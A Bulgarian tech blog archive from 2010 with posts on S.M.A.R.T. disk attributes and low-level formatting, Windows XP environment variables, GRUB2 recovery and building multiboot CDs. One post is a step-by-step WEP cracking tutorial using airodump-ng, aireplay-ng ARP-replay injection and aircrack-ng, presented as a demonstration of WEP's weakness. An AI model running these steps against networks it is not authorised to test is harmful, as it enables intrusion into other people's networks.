lunes, 16 de agosto de 2010

Разяснения на основни понятия касаещи твърдия диск.


S.M.A.R.T. наблюдaва оновните характеристики на твърдия диск.Технологията S.M.A.R.T. също е преживяла еволюция и в момента тя е представена от S.M.A.R.T. III.


Параметрите, които следи S.M.A.R.T. са наречени атрибути, като те са различни за отделния производител. При значение на атрибута под величината "Threshold" (минимално възможното значение, при което се гарантира безотказната работа на HDD) съществува вероятност от неравномерна работа или дори отказ на твърдия диск. Атрибутите са критически важни и некритически. Преминаването на критически важен параметър зад предела на threshold, фактически означава излизане от строя. Изход зад пределите на допустимите значения на некритическите важни параметри ще свидетелствува за наличие на проблеми, като е възможно да пострада производителността например.
Към най-често наблюдавана характеристика се отнася "Raw Read Error Rate" . Това е честота на грешките при четене на данни от диска, произхода на които е свързано с апартаната част на HDD.
Да разгледаме и останалите критически атрибути:

Spin Up Time е времето необходимо на плочите за развъртане от състояние на покой до работни скорости. Разликата във времето заложено от завода с вашето се обяснява с наличното захранване в машината.

Spin Up Retry Count е числото на повторните опити на развъртане на плочите до работни скорости, в случай че първоначалния опит е бил неуспешен.

Seek Error Rate е брой грешки при позициониране на главата. Те могат да бъдат вследствие на повреда в серво-контролните участъци (маркираните за целта), прекомерно термическо разширение на диска (прегряване), механически проблеми в блока за позициониране на главата. Радвайте се, ако Value е с високи стойности. Това говори, че всичко е наред.

Reallocated Sector Count е числото на операции за преразпределяне на секторите. S.M.A.R.T. в съвременните дискове е способен да направи анализ на сектора за стабилност към работа "в полет" и в случай, че го счете за недоброкачествен, да го прегрупира към опашката.

Некритическите се отнасят към така наречените "информационни атрибути" и те се грижат за следното:

Start/Stop Count е броя стартирания/спирания на шпиндела на твърдия диск.Ясно е, че електромотора има свой живот.

Power On Hours са възможните моточасове на твърдия диск.

Drive Power Cycle Count е количеството пълни цикли включване-изключване на диска. Важно е да се знае, че по този атрибут може да се оцени например колко е използван диска до момент. При покупка на диск втора ръка този атрибут издава истината. Това важи и за предходния атрибут.

Temperatue - едва ли има нужда oт разяснение. Тук се съдържа показанията на вградения температурен датчик. Важно-температурата има огромно влияние за живота на диска, даже тя да се намира в допустимите предели.

Current Pending Sector Count - тук се съдържа числото сектори кандидати за замяна. Все още не са "bad sectors", но са заподозрени поради лошо четене спрямо стабилен сектор.

Uncorrectable Sector Count е броя грешки, които не са били корегирани при достъп към сектор. Възможни причини са проблеми с механиката или изхабена повърхност по плочата на диска.

UDMA CRC Error Rate е числото на грешките при пренос на данните по външния интерфейс. Лоши кабели или клок са причините.

Write Error Rate отговаря за честотата на грешките при запис върху диска. Явява се показател за качеството на повърхността и механиката на диска.

Битува питане, защо в "idle режим" дискът започва да цикли или да се самовключва? Това е заради S.M.A.R.T. При относително спокойствие, системата във фонов режим прави анализ на твърдия диск. Времето може да бъде от секунди до часове, не е регламентирано. Самодиагностичните тестове са "Off-line collection"- фонов, "Short Self-test"- съкратен, "Extended Self-test"- разширен.
Всички произтичащи грешки и изменения на параметри се фиксират в таблиците на S.M.A.R.T.
Taзи информация ще бъде база за анализ и съставяне на прогнози, нещо което е в презумпцията на програми за тестване здравето на твърдия диск от рода на:

Drive Health
DriveSitter
HD Tune
HDDScan


Cъстояние на твърд диск посредством DriveSiiter




















Списъкът от програми тестващи здравето на твърдия диск може да се продължи, но в моя случай аз ще застъпя последните две. Причината, подтикнала ме да пиша тези редове, стана твърд диск Seagate Barracuda ATA III модел ST33006202A 30GB. Той се оказа в ръцете ми с думите: "виж го, не мога да го подкарам". Прибрах се в къщи, почесох се, заредих си студена бира, разрезах диня и престъпих към реанимация. Реших, че работната ми машина ще бъде операционна, за да не разкачам кабели. Отворих капака. Изключих DVD-RW дисковода и на негово място подключих 30 гигабайтовата баракуда. Windows си замълча и не оповести с балон, че е намерено ново хардуерно устройство. Дискът развъртя, но не изгря в прозореца на My Computer.

Тук е редно да ви запозная с моята машина. Тя е ASUS P5B-E с термоядрен интел процесор и инсталиран Windows XP SP2. Движи се от SATA 250GB WD диск. Захранването е гнусно, знам.
Погледнах в Computer Management и по-точно в Disk Management. Там се виждаха само дяловете на моя диск без дял от баракудата. Стартирах HD Tune и тя опозна двата диска. Превключих на ST33006202A и започнах превключване на отделните бутони. Първи бутон Benchmark на HD Tune извършва едноименното действие с диска. Отделните опции на диска разбираме чрез бутон Info. Бутон Helt осведомява за проработените часове и основните понятия касаещи S.M.A.R.T. Helth ме осведоми, че два предела са преминали в предупредителна зона оцветена в жълто. Предположително това е диск на 5 години и с отработени 30 000 часа, което е нормално.

Aнализ на HD Tune


























Истината за даден диск проличава в част "Error Scan". Тази опция анализира плочите на диска и показва здравето им. Квадратче от графиката оцветенo в червено означава "лош сектор" с размер 11MB. Края на анализа ме осведоми за 44MB лоши. Лошо.
Лошите сектори биват логически и физически. Първите се лекуват, вторите-не. Логическите са следствие на пренамагнитване по причина на вируси например, докато физическите са следствие на механични повреди. Главата на диска отстои от плочата на 1.2-2 микрона. Всяко сътресение е пагубно, защото причинява задиране, а от това разнасяне на откъртен материал от повърхността по нея.

Oткрити лоши сектори по повърхността на твърдия диск





















При тази ситуация излиза, че ще лекуваме лошите. Докато чаках поредния тест аз изядох динята и се отправих към хладилника, че забравих за бирата. Бирата бе измръзнала и се уплаших за гърлото и корема си, затова я оставих да "омекне" на стайна температура. Извадих от хладилника още гръцки готов сладолед и натъпках една пластмасова чаша за еднократна употреба. Пак се почесох (не питайте къде) и пристъпих нататък.
Притежавам колекция от дискове и това създаде библиотека от инструменти за лечение. Неудобството при тях е, че се работи с флопи. Да прехвърлям образите им в бутващ CD-диск ме мързеше, затова се обърнах към сайта на seagate с очaкване за нещо ново под Windows. Това е прокламирания DiskWizard, който обаче е набъбnал до 120MB под опеката на Acronis. След инсталация-това чудо се оказа жива боза. Така и не открих опция "low level format".
Какво е low level format? Low level format e същото като Zero Fill.

"Zero Fill Drive (Full) will write over the entire data area of the drive. This is useful if a drive has bad sectors that cannot be fixed by the operating system. This will also erase all the data on the drive, but it will take several hours. Zero Fill writes zeros in each data sector up to the complete capacity of the drive and will clean up some file system defects."

Защо пише нули? Защото записа на информация върху диска е в двоична система, а математика учи, че тази система съдържа нули и единици. Тоест, Zero Fill пише само нули, като унищожава бутващ сектор, таблица и записана информация върху диска.

Тук ще ви успокоя. Битува мнение, че Low level format съкращавал живота на диска, дерял го и прочие глупости. За спорта един 10GB диск го минах над 15 пъти с Low level format. Пробвах разни OС-ми в свободното си време. Low level format с думи прости размагнитва диска от първия до последен байт по електромагнитен път. Параноята идва от непознаването на процеса и че след подобен формат не съществува начин за recovery (извличане на информация от диск на ниско ниво).
Обърнах се за помощ към Goolge с ключова фраза "Low level format" и попаднах при братушките. Изтеглих HDDScan от сайта на http://hddguru.com. Това е апликация около 370kB, която предлага аналогични на HD Tune инструменти за диагностика под различен интерфейс. Реших да видя нейния резултат и включих тест на повърхността. Тестът отне 1:19:02 часа. Това означаваше прозяване, изяждане на сладоледа и ред на бирата, като си сложих купичка печени ядки. Резултатите не съвпадаха с тези на HD Tune и аз не се наемам да кажа, чии са по-коректни. Всяка програма изчислява по алгоритми заложени от създателите й. Плюс на изброените програми е, че работят под Windows. Минус, че не поддържат Windows98 и надолу.

Aнализи на HDD Scan





















HDD Scan
предлага опция плавно акустическо управление, активиране на S.M.A.R.T. и прочие опции присъщи за по-нови модели дискове.
Изненадата дойде, когато прегледах сайта на HDDGuru и открих инструмент за формат на ниско ниво - LLFsetup.2.36.1181. Изтеглих го. Оказа се малък по обем, едва 496kB. HDDGuru предлага отделен инструмент за Zero Fill с име HDDWIP, но до него не се стигна и не мога да го коментирам.
Инсталирах LLF (LowLevelFormat) и той ми предложи под Windows да пристъпя към формат на ниско ниво. Съгласих се. Процесът протече без да спирам антивирусна и прочие фонови програми, каквото стане. От предишни формати знам, че процесът е дълъг по време и отидох в кухнята. Имах печено пиле с картофи полуфабрикат. Сложих го в фурната да се загрее. От Москва се научих да ям картофи на кубици сутрин-обед-вечер, без да ми пука за еднообразната храна.



















За моя изненада формата на ниско ниво протече за 20 минути, като WinAmp бичеше Psychedelic Rave-Paradise. Изядох бялото месо на пилето поръсено с чер пипер, две люти чушки и две филийки диетичен хляб.
Реших след формата да проверя положението за лоши с HD Tune. Излекуван. Радост. Ще бъда HDD гуру в очите на моя познат.

Здрав диск




















Оставаше да го форматирам на високо ниво. Рестарт на машината тогава.
Аз форматирам само в NTFS. Предимствата й са безспорни по ред аспекти и най-вече неоспорими за стари дискове. Отворих Disk Management в Computer Management и активирах диска. Пак там го разделих на 7GB и останалото. Форматирах първа част, а с после втората д помощта на десния бутон и съветника на Windows. Рестарт и баракудата изгря с двата нови дяла до моите два.

Форматиране диска на високо ниво.


















Старият нов диск продължава борбата, a хладилника ми има нужда от зареждане. Иначе нищо ми няма. Забравих, имаше някакви сини сливи и подобие на кайсии. И тях изгризах, а в хладилника сложих да се изстудява един пъпеш от зелените и сочните, дето са малко пипон.
Това е цялата история приятели.


Автор: Profruit
Източник: www.softvisia.com

domingo, 15 de agosto de 2010

Variables in Windows XP(Променливи в Windows XP)

Variable                 Typical value (May vary, depending on system)
(Променливи)            Типична стойност (може да варира в зависимост от системата)


%ALLUSERSPROFILE%  C:\Documents and Settings\All Users
%APPDATA%          C:\Documents and Settings\{username}\Application Data
%COMPUTERNAME%     {computername}
%COMSPEC%          C:\Windows\System32\cmd.exe
%HOMEDRIVE%        C:
%HOMEPATH%         \Documents and Settings\{username}
%PATH%             C:\Windows\System32\;C:\Windows\ 
                   C:\Windows\System32\Wbem

%PATHEXT%          .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.WSF;.WSH
%PROGRAMFILES%     Директория в която се намират инсталираните    
                   програми,обикновенно C:\Program Files

%PROMPT%           Code for current command prompt format. Code is
                   usually
$P$G
%SYSTEMDRIVE%      Устройството в което се намира главната
                   директория на
Windows XP,обикновенно C:
%SYSTEMROOT%       Главната директория в Windows XP,обикновенно
                   C:\Windows

%TEMP% и %TMP%     C:\DOCUME~1\{username}\LOCALS~1\Temp
%USERNAME%         {username}
%USERPROFILE%      C:\Documents and Settings\{username}
%WINDIR%           C:\Windows

Ето как да зададем някои наши "променливи" в нашата система.
1. Влизаме в "My Computer" и правим десен клик и цъкваме Properties.


2. На прозореца който се показва,цъкваме на Advanced таб-а и отдолу цъкаме на "Environment Variables".






















3.
На следващият прозорец, на горното разделение можем да създадем променливи само за определен юзър,а отдолу се намират "System Variables"(така да се каже,системните променливи). Променливите за един юзър могат да се исползват само от него,а системните от всички.






















4.
За да създадем нови променливи цъкаме на "New" и получаваме следният прозорец:












Във "Variable Name" пишем името на променливите и във "Variable value" пишем това което искаме да направи променливата.След това за да тестваме,цъкваме на Start Menu-то,след това Run и пишем: %ИМЕТО-на-ПРОМЕНЛИВАТА%
Пример:













Автор: smochEto

jueves, 12 de agosto de 2010

Възстановяване на Grub2 използвайки LiveCD на Ubuntu 9.10


ВАЖНО:Когато искаме да имаме multi-boot,за да можем да използваме няколко операционни системи първо винаги инсталираме Windows от най-старта до най-новата версия и ако искаме Linux трябва да е последен за да не трябва да използваме ръководството по-надолу. Причината е,че ако първо инсталираме linux и след това windows,windows изтрива мбр-то и инсталира свой bootloader който засича само операционната система windows.

Първо стартираме Убунту през LiveCD-то и отрваряме един терминал.След това пишем следната команда за да видим дяловете на твърдият диск:

$ sudo fdisk -l
След това намираме дялът в който сме инсталирали убунту и монтираме в /mnt 
(в повечето случай този дял е sda1,но по-добре е да сме сигурни в кой дял е)
$ sudo mount /dev/sda1 /mnt 
След това монтираме другите устроиства.


$ sudo mount --bind /dev /mnt/dev
Сега изпълняваме командата chroot за да можем да имаме пълен достъп до файловете 
на убунту.

$ sudo chroot /mnt
Сега зареждаме Grub-a в MBR(Master Boot Record) с тази команда:
 
$ grub-install --recheck /dev/sda
SDA е "активният" дял от който зарежда системата. Не трябва да слагаме номер а просто
хард дискът(sda,sdb,sdc...)
След като се изпълнили тези команди рестартираме компютъра и го стартираме
нормално НЕ от live cd-то.
След като е заредил отваряме отново един терминал и за да прибавим другите 
операционни системи към нашият grub пишем:

$ sudo update-grub2
 
След като сме изпълнили тази команда би трябвало да имаме прибавени и другите операционни  система към grub листа за да можем спокойно да стартираме и тях.

Източник: http://www.ubuntu-es.org/ 
Превод: smochE

Разбиване на WEP защита или защо не трябва да се ползва WEP.

Ниво: Basic

Целта на това “упражнение” е да ви покажа максимално детайлно, колко е лесно разбиването на WEP key (Wired Equivalent Privacy) “защитени” мрежи, неговата непрактичност и остарялост.

Предположения:
    • Ползвате Линукс.
    • Имате инсталирани и пачнати драйвъри за вашата карта. - Не е и няма да бъде част от това ръководство!
    • Имате елементарна представа за Линукс.
    • Имате инсталиран Aircrack-ng . Инсталирането не е и няма да бъде част от ръководството!
    • Знаете що е то конзлола и има ли почва тя у нас.





Екипировка използвана за това ръководство:
    • Ubuntu Linux 9.04 (jaunty)
    • Aircrack-ng 1.0-rc3
    • D-Link DWL-G122 H/W ver.: C1 F/W ver.: 3.00
    • rt73 driver ver.: 1.0.3.6


Бележка: При различните драйвъри (макар и малко) е различен и начина на кракване!

Не те сигурни дали вашата карта е съвместима с Aircrack-ng или въобще с Линукс ?


    • Тук може да проверите дали картата ви е съвместима с Aircrack-ng
    • А тук, дали въобще е съвместима с Линукс. Ще намерите също и полезна информациа за драйвърите



Rock n' Roll

Кракването на WEP под Ubuntu се различава от това под BackTrack. При Ubuntu има процеси (програми), които работят на фонов режим, и които пречат значително на целия процес. На пример сменят периодично wifi канала търсейки нови мрежи. Те трябва да бъдат спряни.
sudo airmon-ng check
ви показва списък с пречещите програми
sudo airmon-ng check kill
Спира тези програми.
За да пуснем нужната ни карта:

Sudo ifconfig wlan1 up

Бележка: При спирането на тези програми няма да имате интернет. За това си запишете това ръководство като текстови (или какъвто на вас ви е удобен) файл.

Публикувано изображение




2 -Намиране на детайли за желаната мрежа. Може да се ползва всеки интерфейс.

Командата iwlist сканира мрежите във вашия обхват и ви дава детайлна информация за таях. Съществуват и други програми за сканирене но в случая ще използваме тази. Разгледайте дадените детайли и сами ще откриете нужната ви информация
.
sudo iwlist wlan1 scan

wlan1 ...Интерфейс
scan ...Сканиране

Публикувано изображение




3 - Поставяне на картата в Monitor Mode

Преди да започнем ARP request атаката трябва да поставим какртата в режим “Monitor”. Командата iwconfig ще ви покаже списък с наличните интерфейси:
iwconfig
Публикувано изображение


При вас може да е различно, но при мен нещата стоят така:

eth1 – вградената wifi карта
wlan1 – usb картата, която ще ползвам при атаката.

При поставянето на wlan1 в Monitor Mode ще се появи нов интерфейс. При мен – mon0. От сега нататък ще ползваме само този интерфейс.
sudo airmon-ng start wlan1 1

wlan … интерфейс
1 … канал. Не е задължителен но “отсява плявата”

Публикувано изображение




4 - Прихващане на пакети с airodump-ng

Стартирайте airodump-ng за прихващането на пакети. Секунди след стова ще забележите клиенти ползващи/свързани към мрежата. Клиентите са под поле STATION долу – ляво на конзолата. Можете да си запишете MAC адреса на някои от клиентие или на един от тях. Ако няма клиенти не е толкова страшно, стига настройките на рутера да не включват филтриране по MAC адрес. MAC филтрирането (ако има свързан клиент към мрежата) отнема минутка да се “пребори”, но няма да е част от това ръководство. Важното е, че със или без MAC филтриране е “все тая”
:)
sudo airodump-ng -c 1 -d 00:1E:69:E5:56:3D -w campari mon0
-c ... Канал
-d … BSSID Мак адрес на рутъра
-w … Избрано от вас име на файл, който ще съдържа данните
mon0 … Интерфейс



Публикувано изображение

Детайли към снимката:

PWR … Сила на връзката. По-малки стойности е по-добре.
RXQ … Качество на сигнала.
#Data … Количество прихванати пакети. Това ни интересува.
#/s … Количество прихванати пакети за секунда. От 1 до 50 е бавно. 200 в секунда е идеален вариант
STATION … Клиенти използващи мрежата




5- Проверка дали MAC филтъриране е включено.

sudo aireplay-ng -1 0 -a 00:1E:69:E5:56:3D -h MY:MA:CA:DD:RE:SS mon0


-1 … лъжливо удостоверение за сесия. “0” - изпълнява се веднъж
-a … MAC адрес на
-h … MAC адрес по ваш избор. В моят случай си избрах 00:1E:69:E5:56:69 :)
mon0 … интерфейса

Ако видите следното нещо, значи няма MAC защита:


      18:22:32 Sending Authentication Request 
      18:22:32 Authentication successful 
      18:22:32 Sending Association Request 
      18:22:32 Association successful :-)


6– Инжектиране на пакети чрез aireplay-ng
В нова конзола пускаме самата атака към рутъра. След известно време ще видите #Data (количеството събрани пакети) да се покачва. Това е добър знак. Ако не се покачва – бъдете търпеливи, процеса изисква време. Понякога от секунди до 5-10 минути.

sudo aireplay-ng -3 -b 00:1E:69:E5:56:3D -h MY:MA:CA:DD:RE:SS mon0
-3 … Стандартна ARP reply атака
-b … MAC адреса на мишената.
-h … Избраният от вас MAC адрес.
mon0 … Интерфейс.

Публикувано изображение



7 – Дешифриране на WEP ключа с aircrack-ng

Не е нужно да се спират горните процеси. Дешифрирането на ключа може да стане (даже е препоръчително) докато всички горни процеси си работят, за да може повторно му изпълнение про положение, че опита е неуспешен.

aircrack-ng campari*.cap

*… Wildcard. Разгледайте си Home директорията и ще раберете защо.

Бележка:
IV's нужни за дешифрирането са от 20 000 до към 100 000. Случвало ми се е и 4 000 да ми стигнат, но не разчитайте на това.

Here you go :)

“Най-сигурния” 128 bit WEP ключ за 15 мин със смешно нисък клас USB wifi карта. 25#/s при положение, че 200#/s е нормалното
:)

Публикувано изображение


 Публикувано изображение




БЕЛЕЖКИ:
Паролата на рутъра ви не е дефолтна, нали? Нали? :)
Ако рутъра, който тествате не е вашият – ИСКАЙТЕ РАЗРЕШЕНИЕ.
Много писане, за 10 мин работа. Толкова трябват за разбиване на WEP !!!
Моля ако някой има желание да преведе горното на Английски език, да се чувства свободен. Ще съм много благодарен.

За повече информация не ме търсете.



Автор: CAMPARi
Източник:Форум АренаБГ

domingo, 8 de agosto de 2010

mIniXP-MultiBootCD©


Software Up to date 08/08/2010  
Content:

















  • Auto Play Menu
O.S
Hiren's BootCD 10.6

Security
Kaspersky Virus Removal Tool 9.0.0.722 05.08.2010
ESET NOD32 Scanner 19.07.2010 v.5299
SuperAntiSpyware Free Edition 4.41.0000
Spybot - Search & Destroy©® 1.6.2
Dr.Web CureIT
Panda USB Vaccine
SalityOFF
Windows® Malicious Software Removal Tool
ComboFix
F-Secure Malware Removal Tool 8.00.15030
ATF-Cleaner
DDS Log
SmitfraudFix
OTL
KillBox.exe
USBWriteProtect
ShowHideFiles

Drivers 
Audio Drivers for Windows XP/Vista & 7 x86-x64
Video Drivers for Windows XP/Vista & 7 x86-x64
 - ATI 10.6
 - NVIDIA 258.96

  • MultiBoot Menu

Windows XP Professional SP3 English
Windows XP Professional SP3 SPANISH+SATA
mIni XP Live

Hiren's BootCD 10.6
ERD Commander 2008

MemTest
Darik's Boot and Nuke
Smart Boot Manager 3.7.1
Fix "NTLDR Missing"
Kon-Boot































The ISO is contain no virus and infected files. If you don't see good the letters in the autoplay menu that is because you don't have Courier Font installed in you pc. So you can make two thinks:
1rs: go to www.google.com find it and install it.
2nd: Explore root folder,go to AutoPlay>Docs>Fonts and copy the three fonts files in "%SystemRoot%\Fonts".

If some application doesn't want to start or give you error try to locate it in the root folder and run it from there,in any case please report bugs.

jueves, 5 de agosto de 2010

Как да си направим Multi-Boot CD/DVD (Part 2)

Част 2: Multi-BootDVD
1. Windows XP Professional SP3 Updated (Clean Installation)
2. Windows XP Professional SP3 Updatet+SATA+Unattendet
3. Hiren's BootCD 10.6
4. Mini Windows XP
5. Memtest
6. ERD Commander 2008
7. Windows 7

В тази втора част от ръководството ще ви покажа как да прибавим още операционни системи и други полезни инструменти като Hiren's BootCD и ERD Commander.
Това ще е продължение на "Dual Boot CD"

Когато имаме следните приложения се захващаме за работа и би трябвало да получим следният резултат по време на тестовете за стартиране.

Публикувано изображение

Ок на работа...
1.Отваряме папката където са операционните ситеми от "Dual Boot CD" и там ще копираме съдържанието на другите проложения.

Започваме с Hiren's BootCD.

Публикувано изображение

Копираме папката в светло сниьото и САМО НЕЯ в главната папка.(Преди главната папка я нарекох DualBoot,но сега е MultiBoot)


След като сме я копирали успешно влизаме в нея и намираме файловете:boot.gz и memtest.gz и ги разархивирваме в същата папка.

Публикувано изображение

За сега сме готови с Hiren's,заемаме се с ERD Commander.


2.Копираме цялото съдържание на ERD Commander-а в главната папка. Тъй като от преди имаме файлът WIN51 ще поиска да го заменим с този който копираме сега,даваме му "Yes".

3.Сега Windows 7 го копираме по същият начин като ERD,всичките файлове директно в главната папка.***Ако оставим autorun.inf в главната папка,когато запишем DVD-то ще се стартира Win7,но ако НЕ искаме това значи изтриваме autorun.inf или изобщо не го копираме.***

4.А сега трябва на обновим diskemu.cmd-то с новите команди за да може да стартираме новите приложения.
Аз подредих моят така:



:start
cls
print
print ------------------------------------------------------------------------------
print My first MultiBootDVD endurgo(smochet0)
print ------------------------------------------------------------------------------
print F1=Help
print
print
print 1) Install Windows XP Professional SP3 Clean
print 2) Install Windows XP Professional SP3 +SATA+Unattendet
print 3) Run Hirens BootCD 10.6
print 4) Run MiniXP Pro
print 5) Run Memtest
print 6) ERD Commander 2008
print 7) Install Windows 7 Ultimate OEM x86
print
print q) Quit to command prompt
print r) Reboot
print Esc) Boot first harddisk
print
print Hit the key of choice:
:mainkey
; timeout is 20 seconds, default key is escape
getkey 20 esc
onkey 1 goto pro
onkey 2 goto mod
onkey 3 goto hbcd
onkey 4 goto mini
onkey 5 goto mem
onkey 6 goto erd
onkey 7 goto win
onkey q quit
onkey r reboot
onkey f1 goto help
onkey esc boot 80
; When no key found...
goto mainkey
;
:win
print Starting Windows 7 Ultimate OEM x86
cd BOOT
run ETFSBOOT.COM
getkey
goto start
:erd
cls
print Starting ERD Commander 2008
run BOOT.BIN
getkey
goto start
:mem
print Starting Memtest
cd HBCD
run MEMTEST.IMG
getkey
goto start
:pro
cls
print Windows Xp Professional SP3...
run WPRO.DAT
getkey
goto start
:mod
print Windows XP Professional SP3+SATA+Unattendet...
run WMOD.DAT
getkey
goto start
:hbcd
print Running Hirens BootCD 10.6
cd HBCD
run BOOT.IMG
getkey
goto start
:mini
print Running MiniXP Pro
cd HBCD
run XP.BIN
getkey
goto start
;
; EOF


Както виждате това е нормален файл изпълняващ "прости" команди. Към опцийте за избиране съм добавил MiniXP и Memtest те са "вградени" в Hiren's BootCD. Hiren's също има още няколко инструменти които можем да исползваме и да добавим към нашият MultiBoot.
В папката HBCD има файл на има isolinux.cfg в който можем да видим кои са другите инструменти и кои са стартиращите файлове за всеки един. Например отваряме файлът с текстов едитр,scroll-ваме на долу и намираме "Darik's Boot and Nuke - Hard Drive Eraser"

Публикувано изображение

Както виждате на снимката последният ред пише "append initrd=/HBCD/dban.gz",това е стартирящият файл,но на нас не ни върши работа с това разширение затова както направихме с "boot.gz" го разархивирваме в HBCD папката и ни остава само да го добавим към diskemu.cmd.


В diskemu трябва много да се внимава,защото една запетайка не където трябва и няма да може да се стартира правилно избраното приложение.Файловете и паките към които препраштаме трябва да са написани с главни букви поради причината,че когато направим ISO image файлът всичкото му съдържание е с главни букви.


Тази снимка показва файловете които трябва да се намират в главната папка.

Публикувано изображение

Файловете в светло синьо са от Windows 7
Файловете в червено са от ERD Commander+WIN51
Файловете в жълто са от предишният проект Dual Boot CD
Файловете в сиво са от Boot Files

След като сме готови трябва да направим предишната операция с CDimage Gui.Няма да слагам снимките отново може да ги видите по-нагоре в миналият пост.


Надявам се ръководството да Ви е харесало ако имате въпроси или проблеми винаги можете да ми драснете едно л.с.

Aвтор: smochEt0

Всички авторски права върху съдържанието на статията и снимковия материал са запазени. Забранено е разпространяването и/или модифицирането на статията или части от нея без изричното съгласие на автора.

miércoles, 4 de agosto de 2010

Как да си направим Multi-Boot CD/DVD(Part 1)

Как да си направим Multi-Boot CD/DVD
(Избор на инсталация на няколко операционни системи)

ЧАСТ 1: Dual Boot CD (700MB)
1. Windows XP Professional SP3 Updated (Clean Installation)
2. Windows XP Professional SP3 Updatet+SATA+Unattendet

В това ръководсто ще се опитам да Ви обясня как да запишем два Windows XP в едно cd от 700МБ и да ни позволява да изберем коя операционна система да инсталираме.

Публикувано изображение

От тук ще може да свалите нужните файлове за реализацията на този проект.
Boot Files (Freeware)

Публикувано изображение


•Шестнайсетичен едитор
Hex Workshop (Shareware)(Аз ще ползвам този)
Free Hex Editor (Freeware)

• Създаване на Bootable ISO
CDimageGUI (Freeware)

И за по-голямо удопство вместо Windows Explorer ще ползвам Q-Dir (Freeware)

Така нека да започваме.
1.
Правим една папка напримерDualBoot и в нея още две. Една за чистия уиндоус и една за променения (в този случаи, този който е със Сата драйвери, Nº2) аз направих следните папки, WXPPROиWXPMOD”(желателно е имената да не са много дълги).

Публикувано изображение

2.
След като сме направили тези две копираме операционните системи в съответната папка. Повтарям нормалният уиндоус (чистата инсталация) в WXPPROи променения вWXPMOD

Публикувано изображение

3.
След като сме направили предишната операция ще трябва да създадем още две папки и да копираме следните файлове:
Сега влизаме в папката
WXPPRO и копираме папката i386(цялата) и я слагаме в главната (DualBoot) след това я преименуваме на WPRO

Същото правим и вWXPMOD”, копираме i386, слагаме я в DualBoot и я преименуваме на WMOD.

Публикувано изображение

4.
Сега файлът който свалихте от Megaupload “diskem1x.rar” го разархивираме в главната папка(DualBoot)

Публикувано изображение

5.
Файловете които имат червена точка може да ги изтрием няма да имаме нужда от тях те са предазначени за друго.

BOOTCD.IMG
BOOTCD2.IMG
BOOTMGR
ETFSBOOT.COM
HIR.IMG

Тези файлове ги изтриваме...

6.
Сега трябва да поработим с шестнадесетичния едитор. Десен клик върху “BOOT.BIN” и “Open With” и избираме един от едиторите които ползваме. При мене нещатата изглеждат така:

Публикувано изображение

7.
Сега след като сме в шестнадесетичният едитор намираме опцията Replace по принцип тя се намира вEdit>Replace

Публикувано изображение

Публикувано изображение

И променяме i386 с WPRO, и натискаме ОК. На следващият прозорец Replace All”. След като сме променили i386 с WPRO трябва да запазим файлът. File>Save As”.

Публикувано изображение

Публикувано изображение

Обърнете внимание, файлът трябва да е запазен с разширение DAT. (WPRO.DAT)

8.
Сега влизаме в папката WPRO и търсим следните файлове: SETUPLDR.BIN TXTSETUP.SIF
След като ги открием отваряме SETUPLDR.BIN с шестнадесетичният едитор и по абсолутнo същият начин като в точка 7, намираме и заменяме i386 с WPRO.В този файл i386 се повтаря четири пъти,даваме "Replace all".

9.
Продължаваме в папкатаWPRO сега отварямеTXTSETUP.SIFс тексов едитор и търсим следната линия: SetupSourcePath

Публикувано изображение

И след наклонената черта “\” пишем WXPPRO. Трябва да изглежда ето така:

Публикувано изображение

Тъка значи с този уиндоус сме приключили, само влизаме в WXPPRO и копираме следните файлове в главната папка.

•WIN51
•WIN51IP
•WIN51IP.SP3

10.
Сега започваме другия,там трябва на направим същите модификаций като при този,но вместо да пишем WPROилиWXPPROсега пишем WMODиWXPMOD”.

Повтарям, отваряме файлът BOOT.BIN с шестнадесетичният едитор променяме i386 с WMODи го запазваме като WMOD.DAT в главната папка(aбсолутно същото като с WPRO).
По същият начин влизаме в папката WMOD търсим SETUPLDR.BIN и TXTSETUP.SIF
Правим промените в SETUPLDR.BIN,i386 с WMOD(в този файл i386 се повтаря 4 пъти) запазваме го на място(Ctrl+S) след това променяме SetupSourcePath-a в TXTSETUP.SIF на “\WXPMOD”,запазваме и се връщаме в главната папка.

11.
След като сме създали двата файла WPRO.DAT и WMOD.DAT,променили сме SETUPLDR.BIN както в папката WPRO така и в папката WMOD и сме променили SetupSourcePath-a на двата уиндоуса се заемаме с diskemu.cmd”. Чрез този файл ще изградиме нашето меню.

12.
Намираме се в главната папка(DualBoot) отваряме файлът diskemu с текстов едитор.
Нашият
diskemu трябва да изглежда така:



:start
cls
print
print-------------------------------------------------------------------------
print My first DualBootCD
print-------------------------------------------------------------------------
print F1=Help
print
print
print 1) Install Windows XP Professional SP3 Clean
print 2) Install Windows XP Professional SP3 +SATA+Unattendet
print
print q) Quit to command prompt
print r) Reboot
print Esc) Boot first harddisk
print
print Hit the key of choice:
:mainkey
; timeout is 20 seconds, default key is escape
getkey 20 esc
onkey 1 goto pro
onkey 2 goto mod
onkey q quit
onkey r reboot
onkey f1 goto help
onkey esc boot 80
; When no key found...
goto mainkey
;
:pro
cls
print Windows Xp Professional SP3...
run WPRO.DAT
getkey
goto start
:mod
print Windows XP Professional SP3+SATA+Unattendet...
run WMOD.DAT
getkey
goto start
;
; EOF

Много е важно да не объркаме някоя буква или вместо главна да сложим малка.
След като сме готови с това трябва да страртираме CDimage Gui и да направим ISO файлът следваики тези снимки.


Публикувано изображение

Root Dir: Избираме папката където сме сложили всичките файлове.
Path and filename for the iso: Тука избираме къде да запазим ИСО файлът.

Публикувано изображение

Избираме Joilet Unicode Encode за да нямаме проблеми със странни символи.

Публикувано изображение

Намираме и маркираме loader.bin от главната папка.

Публикувано изображение

За да може да запишим два-та Уиндоуса избира -о

Публикувано изображение

Там където пише "Каквото име искаме" това ще е името на сд-то когато го запишем.

Публикувано изображение

Натискаме "Start" и чакаме... След като стане на 100% вероятно може да има някоя грешка,ако не е с червено не е проблем ;D, и излизаме от програмата.
След като сме готови може да ползваме някоя виртуална машина за да изпробваме какво сме направили. При мене се получи следното

Публикувано изображение

Не се ядосвайте твърде възможно е първият път да не стане,при мене и вторият и третият не станаха,но това е друго...
Ако забележите размерът на главната папка е околу 2,3GB~,а ИСО файлът е само 700.Ако файлът е по-голям това означава,че операционните системи имат твърде много различни файлове.


TO BE CONTINUED...

Дано да имам малко повечко време за да напиша част втора, към нея ще има:
Windows XP Professional Clean
Windows XP Professional Unattended
Windows 7
Hiren's BootCD 10.*
ERD Commander 2008

Aвтор:smochEto

Всички авторски права върху съдържанието на статията и снимковия материал са запазени. Забранено е разпространяването и/или модифицирането на статията или части от нея без изричното съгласие на автора.